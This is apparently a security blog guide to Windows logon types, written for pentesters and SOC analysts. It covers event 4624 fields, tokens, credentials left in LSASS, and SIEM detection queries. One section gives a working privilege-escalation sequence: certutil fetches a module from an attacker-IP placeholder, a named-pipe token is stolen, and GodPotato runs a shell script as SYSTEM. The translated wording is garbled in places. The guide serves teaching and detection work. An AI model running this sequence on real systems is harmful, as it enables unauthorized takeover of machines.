Logon Type Windows: Guide for Pentester, Red Teamer and SOC Analyst

Logon Type Windows (Complete Beginner's Guide) #

Every time someone or something authenticates to a Windows computer—a user entering a password, a service starting, a connection to a shared folder—Windows records how that access occurred . This "how" is called the logon type, and it's a number that describes the context of the session , not the user's final privileges. Actual permissions depend on the access token generated at that time, which in turn depends on multiple factors (accounts, groups, policies, UAC, login context). Understanding this is crucial for both offensive security professionals and those analyzing logs to identify an attack.

What is a logon type in simple terms? #

Imagine entering a building. You can enter through the front door by showing your ID (physical login), you can have an intercom open the door (remote access), or you can already be inside because you work there (an automatically activated service). These are all different ways of "entering," and each gives you access to different rooms in the building.

On Windows, it's the same: the same user, but different login methods can grant different permissions . This is because each login generates a "pass" (called a token) that specifies what that session can do.

Why it is important #

Two practical scenarios:

Defense side: If you see a normal user in the logs doing a “service” (Type 5) login at night, it is suspicious — this is not their normal behavior.

Offensive side (in authorized labs, e.g. Hack The Box): If an account has a powerful privilege on paper but your shell doesn't, it's often because you logged in with the "wrong" logon type — and regaining that privilege requires specific techniques.

The main logon types, explained one by one #

Type 0 — System #

This isn't a true "user login"—it's a non-interactive system/kernel session , used internally by Windows itself (e.g., starting the SYSTEM process at boot). It's not generated by a human, nor is it a typical attack: you'll find it in the logs for completeness, but it's rarely relevant in an analysis.

Type 1 — (obsolete) #

Historically used to log on from a locked workstation on pre-Vista systems (Windows 2000/XP/Server 2003). Unlike other types, it was never officially documented by Microsoft, and is obsolete: you no longer find it in modern system logs. Listed here only for completeness.

Type 2 — Interactive #

Physical login: Someone sitting in front of the computer, with the keyboard and screen. Example: You turn on your PC at work and enter your password.

Type 3 — Network #

Access a shared resource on the network, without opening a graphical session. Example: when you open \\server\cartella from another PC, or when a tool like netexec connects via SMB to a host.

Type 4 — Batch #

Generated by a scheduled task (Task Scheduler) that runs under a saved account. Example: an automatic backup that runs every night under a service account.

Type 5 — Service #

How to start a Windows service, with the account configured to run it. Example: when you start SQL Server, Windows logs in with the account svc_sql assigned to that service — that event is Type 5.

Type 7 — Unlock #

Unlocking a locked session (screen lock). Example: You return to your desktop, move the mouse, and enter your password to unlock.

Type 8 — NetworkCleartext #

Like Type 3, but with the password traveling in clear, unprotected. Example: an old web panel with HTTP basic authentication without HTTPS. Other common cases: WinRM with Basic Authentication on unencrypted port 5985, ASP.NET applications with <authentication mode="Windows"> Served over HTTP instead of HTTPS, LDAP simple bind. Recognizing these protocols as sources of Type 8 is useful in detection engineering.

Type 9 — NewCredentials #

Used with runas /netonly: You remain logged in as yourself locally, but use different credentials for each network connection. Example: runas /netonly /user:dominio\altro_utente cmd.exe —the local shell remains yours, but any access to a network share will use the other account. Be careful: if the user running the command is a local administrator, those credentials will still end up in memory, managed by LSASS for network use—so they remain recoverable with Mimikatz, even if they've never verified the password against the DC.

Type 10 — RemoteInteractive #

Remote Desktop Connection (RDP). Example: you connect to a server with xfreerdp or the Windows RDP client.

Type 11 — CachedInteractive #

Login with locally saved (cached) credentials, used when the domain controller is unreachable. For example, you unlock a company laptop on a plane, without a connection—Windows checks the password against the last locally saved copy, not the server.

Type 12 — CachedRemoteInteractive #

Like Type 11, but for an RDP connection when the Domain Controller is unreachable.

Type 13 — CachedUnlocked #

Unlocking a blocked session using cached credentials, instead of contacting the Domain Controller.

Summary table #

Logon Type and User Rights Assignment #

Each logon type isn't "free"—it requires the account to possess a specific right, assignable via Group Policy. A mature SOC doesn't just look at the type, but also checks whether that account actually has the right to do so:

If you see a Type 10 for an account without SeRemoteInteractiveLogonRight assigned, it's a warning bell — perhaps an admin granted it on the fly, but it should be verified, not taken for granted.

Logon Type and Credentials in Memory (LSASS) #

An important detail, both offensive and defensive: not all logon types leave reusable credentials in memory.

• Type 2, 10, 11 (interactive/remote/cached): typically leave credentials (NTLM hash, sometimes Kerberos stuff) in LSASS — recoverable with Mimikatz if you have the right privileges.
• Type 3 (network): from Windows Vista/Server 2008 onwards, immense leaves reusable credentials in LSASS — this is one of the reasons why a pure SMB login is less “greedy” for a credential dump than an RDP.

This clearly distinguishes what is worth pursuing in an authorized test: a target achieved only via Type 3 will not give you fresh credentials from LSASS, a Type 10/2 will.

Session 0 and isolated services #

Windows services (Type 5) run in Session 0 , which has been isolated from interactive user sessions since 2006 (Vista/Server 2008) for security reasons—no GUI, no direct interaction with the desktop. This is why a service account, even with very high privileges, can't simply "open a window": techniques like token theft (seen above) or kernel bug abuse are needed to break out of that isolation and gain a usable context.

They are two different things and are often confused:

• Logon Type = including you enter (physical, network, service…).
• Kerberos / NTLM = how do you identify yourself during that access.

Examples of real combinations:

• Type 3 (Network) via SMB → often NTLM, but also Kerberos if the domain supports it.
• Type 10 (RDP) → typically Kerberos with TGT delegation.
• Type 8 (NetworkCleartext) → often cleartext NTLM, or legacy applications without Kerberos.

For a deeper understanding of how these protocols work, see the guide on Kerberos and Pass-the-Hash techniques.

A key concept: same user, different tokens #

A common mistake is to think that permissions depend only on the account. In reality, they also depend on including That account has authenticated: Some logon types tend to generate tokens with different privileges based on the context (service configuration, local policies, UAC). The same user svc_sql may have the privilege SeImpersonatePrivilege active when the service starts (Type 5), but do not have it in a more limited interactive shell — because a security configuration (hardening) has been applied on that machine that restricts privileges on certain types of access. This is not a fixed mathematical rule: it must always be checked on a case-by-case basis with whoami /priv and token analysis.

This is why, in an authorized penetration test, understanding the logon type of your session is a critical step before attempting privilege escalation techniques.

Token: a few more concepts #

• Access token vs. logon sessionThe logon session is the “session” created at the time of authentication; the access token is the object that carries the effective permissions tied to that session.
• UAC split token: on an administrator account with UAC enabled, Windows creates two token: one filtered (normal permissions, used by default) and one elevated (full admin permissions, used only after a UAC prompt). This is why it's possible to be "admin" but not have admin permissions in the current shell. An important exception: the account Administrator integrated (RID 500) salta The split token in an interactive logon (Type 2/10) — receives the full token directly, without a prompt. A regular user in the Administrators group, however, always receives the filtered token and must request elevation.
• Impersonation vs primary tokenAn impersonation token only allows you to temporarily impersonate another user; a primary token allows you to launch an entire process with that identity. This is covered in more detail in the guide on SeImpersonatePrivilege.

Recovering a “Missing” Privilege: Token Theft via Named Pipes #

Authorized lab scenario (HTB, CTF, test environments): You are logged in with a shell as a service account (svc_sql, an IIS app pool, etc.), but whoami /priv does not show SeImpersonatePrivilege —even if the account policy allows it. The typical reason is hardening: your shell's logon type is restricted compared to the one the service originally started with.

When the service started (Type 5), it created a session with the full token—LSASS preserves it. You can retrieve that token by creating a local pipe and taking advantage of the fact that the system, authenticating on a local path, passes it with the active context token.

# Scarica e importa NtObjectManager (modulo PowerShell di James Forshaw, Project Zero)
certutil -f -urlcache -split http://IP_ATTACCANTE/NtObjectManager.zip
Expand-Archive -Path NtObjectManager.zip -DestinationPath .
Import-Module .\NtObjectManager.psm1

# Crea la pipe e mettila in ascolto
$path = New-NtNamedPipeFile \\.\pipe\nomeacaso -Win32Path
$job = Start-Job { $path.Listen() }

# Forza una connessione locale, che passa dal token del servizio
$file = Get-NtFile \\localhost\pipe\nomeacaso -Win32Path

# Impersona la pipe e prendi il token
$token = Use-NtObject($path.Impersonate()) { Get-NtToken -Impersonation }

# Verifica il privilegio recuperato
$token.Privileges

Se SeImpersonatePrivilege compare Enabled, the token can be used to launch a process as SYSTEM via the “Potato” family of tools (GodPotato, PrintSpoofer, SweetPotato — depending on the Windows version):

New-Win32Process -CommandLine 'GodPotato-NET4.exe -cmd "powershell -ExecutionPolicy Bypass -File shell.ps1"' -token $token

New-Win32Process This is necessary because the captured token is of type Impersonation, not Primary: from a pipe you never get a primary token directly (API limitation) ImpersonateNamedPipeClient), so you need to explicitly pass it to the process instead of relying on the tool's automatic trigger.

Other scenarios where this technique comes in handy #

Not just MSSQL. The same principle applies to any service account running under SeImpersonatePrivilege by default but whose current shell has filtered it:

• IIS Application Pool (iis apppool\defaultapppool): webshell loaded on a vulnerable .NET application — same privilege, same recovery pattern.
• BITS (Background Intelligent Transfer Service): service account with the same privilege by design.
• Print Spooler: if active, it often allows you to skip the manual pipe step altogether — tools like PrintSpoofer directly use the spooler service as a “trigger” for the privileged connection.
• Any custom service registered with LOGON32_LOGON_SERVICE that has not been subjected to explicit token hardening.

In general: as soon as you see a shell as an account that seems a service (type name) svc_, nt service\, iis apppool\) but whoami /priv It doesn't display the privileges you'd expect, so it's worth checking if it's a logon type issue before ruling it out.

How to see your current logon type #

whoami /priv

This command doesn't show the logon type, but the token's privileges. You can deduce this indirectly: if you see SeImpersonatePrivilege enabled, it is likely a Type 5. To see the actual logon type, use instead:

logonsessions.exe -p

Sysinternals tool: directly displays active logon sessions, their type with a text name (not just the number), authentication package, and connected processes. It's easier than reading logs manually.

Alternatively, via log — but this requires read permissions on the Security Log (admin or delegated right, not available to a basic user):

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} -MaxEvents 5 |
  Select-Object -ExpandProperty Message

For more detailed log analysis, Windows Event ID 4624 records every successful logon, including the field Logon Type with the exact number. Real-world example of how an event appears in the Event Viewer:

Event ID: 4624
Logon Type: 3
Account Name: user1
Workstation Name: PC-01
Authentication Package: NTLM
Logon Process: NtLmSsp

From this event you immediately understand: network access (Type 3), authenticated with NTLM, from PC-01 station.

Logon ID: the glue between different events #

Each successful logon receives a unique identifier, the Logon ID (an LUID, e.g. 0x123456). It is used to connect different events belonging to the same session: if a 4624 (logon), a 4672 (special privileges assigned), and a 4634 (logoff) share the same Logon ID, you know for sure that it is the same session from start to finish—even hours apart. Without this field, correlating different events in the same audit would become a guess, not a certainty.

Logon Process and Authentication Package #

Two fields often confused with the Logon Type itself:

• Logon Process: the software component that handled the login (Winlogon, NtLmSsp, Kerberos, Advapi, Seclogo). He says who processed the request at the system level.
• Authentication Package: the actual protocol used (NTLM, Kerberos, Negotiate). Useful for distinguishing a modern (Kerberos) login from a legacy or degraded (NTLM) one — a downgrade to NTLM on a domain that should be using Kerberos is often a sign of NTLM relay in progress.

Complete example of event 4624, with all fields useful in a real audit (example host hackita-srv01):

Event ID: 4624
Subject:
  Security ID: SYSTEM
New Logon:
  Security ID: hackita\svc_sql
  Logon ID: 0x123456
Logon Type: 3
Process Information:
  Logon Process: NtLmSsp
  Authentication Package: NTLM
Network Information:
  Workstation Name: HACKITA-SRV01
  Source Network Address: 192.168.1.10

How much traffic does each logon type really generate? #

Useful for network analysis, not just logs:

• Type 3 → typically port 445 (SMB), 389 (LDAP), or dynamic RPC.
• Type 5 → no direct network traffic, it is local to the service that starts.
• Type 8 → HTTP with Basic Auth, often port 80 without TLS.
• Type 10 → port 3389 (RDP).

This mapping helps to cross-reference application logs with traffic captures (e.g. Wireshark) during an analysis.

False positives to consider #

A suspicious logon type isn't always an attack. Common examples:

• Type 3 massive It can be a network inventory tool, a centralized antivirus that scans hosts, or a backup system — not just lateral movement.
• Type 10 from an unexpected IP It could be a helpdesk technician connecting from a shared jump server, not necessarily a compromised account.

Before raising an alarm, always check the context (time, source application, account history) — the logon type number alone is not enough.

Related events to check together #

The logon type alone tells only half the story. In a real analysis, multiple Event IDs are looked at together:

Seeing a 4624 Type 10 immediately followed by a 4672 (elevated privileges) on an account that doesn't usually have them, for example, is a much more significant pattern than just the logon type alone.

Practical impact for logon type #

Quick summary of what each type entails, from an authorized testing perspective:

• Type 3 (SMB enumeration): does not create an interactive session — only useful for enumerating resources, not for running commands.
• Type 10 (RDP): full, interactive session — often the point where you get a full token if you previously only had network access.
• Type 5 (service account): frequent target for privilege escalation, because it often carries privileges such as SeImpersonatePrivilege by default.
• Type 11 (cached logon): Relevant in offline scenarios, e.g., analyzing a stolen or non-domain-connected laptop.

Common mistakes #

• Confusing Logon Type with Logon Process: the first is the type access (number), the second is the software component who managed it (eg. NtLmSsp, Kerberos, Advapi) — they are two different fields in the same event.
• Thinking that Type 3 gives “full access”: only gives access to the requested resource, not an interactive session.
• Ignore cached logons (11): in an investigation of an offline device it is often the only relevant type.
• Underestimating the Type 8: Clear text passwords on the network are a real risk, not just a textbook detail.

How it is abused in a real attack (authorized CTF/lab context) #

Three typical scenarios, useful for recognizing the pattern during an authorized penetration test:

Scenario 1 — SMB Lateral Movement (Type 3) An attacker with stolen credentials (via NTLM relay or dump) uses them to log in to multiple hosts via SMB. Each attempt generates a Type 3 logon, never opening an interactive session—only enumeration and access to shared resources.

Scenario 2 — RDP escalation path (Type 10) After an initial low-privilege login, the attacker obtains stronger credentials and connects via RDP (Type 10) for a full interactive session — often going from “I see the network” to “I control the machine.”

Scenario 3 — Service account abuse (Type 5) A misconfigured service account (Type 5) carries privileges like SeImpersonatePrivilege o SeAssignPrimaryTokenPrivilege By default. If the token has not been restricted, it is often the starting point for local privilege escalation techniques.

Suspicious patterns in logs #

What a SOC/Blue Team typically looks at:

• Same account with Type 3 on dozens of hosts in a few minutes → possible lateral movement or large-scale credential validation.
• Service accounts with Type 2 or Type 10 → abnormal behavior, service accounts should not log in interactively.
• Lots of Type 8 → insecure legacy authentication, which needs to be fixed regardless of an ongoing attack.
• Type 11 (cached) from an unseen device → possible reuse of stolen passwords or offline attack on the hash cache.

Mental Flow: From Authentication to Real Access #

Login → Logon Type → Token → Privilegi effettivi → Cosa puoi davvero fare

Three distinctions to always keep in mind:

• Authentication ≠ Access: Authenticating yourself does not automatically mean you have access to everything.
• Logon Type ≠ Protocol: including enter (Type) is different from how do you identify yourself (Kerberos/NTLM).
• Token = the reality of permissions: in the end, only what is written on the token matters, not the account itself.

Logon Type Limitations #

Logon types don't tell the whole story. Some limitations to keep in mind:

• A Type 3 doesn't show what happens after you log in — just that you logged in.
• Many attacks do not generate any noticeable events beyond the 4624 itself.
• An NTLM relay can produce a logon that appears entirely legitimate in the logs.
• An RDP access mediated by a gateway/jump host may be masked or display the gateway IP instead of the real one.

For this reason, the logon type should always be correlated with other events (process creation, Kerberos ticket, 4672, 4648) — never read alone as definitive evidence.

Detection & Defense #

Those monitoring a network look above all for anomalous combinations of accounts and logon types:

• A service account that does a Type 2 or Type 10 (interactive/RDP login) when it should only use Type 5 is a red flag.
• Lots of Type 8 (clear text passwords) in the logs indicate poorly configured applications that need to be fixed.
• Repeated Type 3 attacks of the same account on dozens of hosts in a short period of time may indicate a large-scale credential validation attempt.

Practical defense: With a SIEM, create rules that flag account/logon type combinations outside of normal behavior, and restrict which accounts can use which logon types via Group Policy (Deny log on locally, Deny log on through Remote Desktop Services, etc.).

Note for modern environments (Azure AD / hybrid) #

In hybrid networks with Azure AD/Entra ID, classic logon types remain valid for on-premises/on-prem authentication, but become less reliable as the sole signal: Conditional Access, Web Account Manager (WAM), and cloud authentication flows introduce login patterns that don't always map cleanly to the 14 traditional types. In a hybrid environment, it's best to correlate on-premises logs (Event ID 4624) with Azure AD sign-in logs; don't rely on the Windows logon type alone.

Another development to be aware of: with Windows Hello for Business (PIN or biometrics), a physical login still generates a Type 2 as usual, but the underlying mechanism is no longer a password—it's asymmetric key authentication. The logon type number doesn't change, but the way identity is verified does, and this is important to know when analyzing modern environments.

SIEM query example (Splunk-like syntax) #

Detect possible lateral movement via Type 3 on many hosts:

EventCode=4624 LogonType=3
| stats count dc(Workstation_Name) as host_count by Account_Name
| where host_count > 20

Detect RDP from unexpected account:

EventCode=4624 LogonType=10
| where Account_Name != "admin_atteso"

MITRE ATT&CK: T1078 (Valid Accounts) covers the misuse of legitimate credentials across various logon types. Related: T1021 (Remote Services, for Type 10/RDP and Type 3/SMB), T1003 (Credential Dumping, often the step preceding a logon with stolen credentials), T1550 (Use Alternate Authentication Material, for Pass-the-Hash and Pass-the-Ticket that generate seemingly normal logons).

Quick Mental Model #

To quickly remember them without having to memorize them:

FAQ #

Are logon types always the same for the same account? No. The same account can obtain different tokens depending on the logon type used—it depends on the machine configuration, not a hard and fast rule.

Where do I see the logon type in Windows logs? In the Event Viewer, Event ID 4624 (logon success) or 4625 (logon failure), “Logon Type” field.

What is the most common logon type in a network attack? Type 3 (Network), because it's the one generated by almost all SMB, LDAP, and RPC enumeration/access tools.

Do you need to know them all by heart? No. The most important ones to recognize on the field are 2, 3, 4, 5, 9, 10, 11 — the others (7, 8, 12, 13) are less frequent variants but useful to know for completeness.

What's the difference between Logon Type 3 and Logon Type 10? Type 3 is just access to a network resource (no graphical session); Type 10 is a full, interactive remote desktop session—much more powerful in terms of what you can do once you're logged in.

What does Logon Type mean in Event ID 4624? This field indicates the login method used for that specific login — the number (0-13) is explained in this guide.

References #

Microsoft Learn — Audit Logon Events — Official documentation on Event ID 4624 and logon types